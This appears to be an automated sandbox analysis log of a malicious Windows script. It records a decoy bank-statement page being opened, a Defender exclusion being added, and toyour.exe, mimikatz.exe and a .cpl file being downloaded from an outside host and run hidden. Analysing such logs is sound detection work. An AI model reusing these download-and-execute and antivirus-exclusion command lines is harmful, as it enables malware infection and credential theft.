Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.scribd.com/document/806838445/Bank-Statement
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7036 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7196 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=10856 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-GB --service-sandbox-type=audio --mojo-platform-channel-handle=11468 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b control C:\\WinXRAR\\ncpa.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b powershell Start-Process -FilePath C:\\WinXRAR\\toyour.exe -WindowStyle Hidden
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b C:\\WinXRAR\\mimikatz.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\control.exe control C:\\WinXRAR\\ncpa.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\control.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\\WinXRAR\\ncpa.cpl
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7292 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b control C:\\WinXRAR\\ncpa.cpl	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b powershell Start-Process -FilePath C:\\WinXRAR\\toyour.exe -WindowStyle Hidden	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b C:\\WinXRAR\\mimikatz.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process msedge https://www.scribd.com/document/806838445/Bank-Statement	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.scribd.com/document/806838445/Bank-Statement	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7036 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7196 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b C:\\WinXRAR\\mimikatz.exe	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=10856 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-GB --service-sandbox-type=audio --mojo-platform-channel-handle=11468 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7292 --field-trial-handle=2040,i,3947211372183996386,11848747905540654316,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\\WinXRAR
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/toyour.exe -Outfile C:\\WinXRAR\\toyour.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/mimikatz.exe -Outfile C:\\WinXRAR\\mimikatz.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://xspacet.wiki/stein/ncpa.cpl -Outfile C:\\WinXRAR\\ncpa.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\control.exe control C:\\WinXRAR\\ncpa.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Start-Process -FilePath C:\\WinXRAR\\toyour.exe -WindowStyle Hidden
Source: C:\Windows\System32\control.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\\WinXRAR\\ncpa.cpl

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
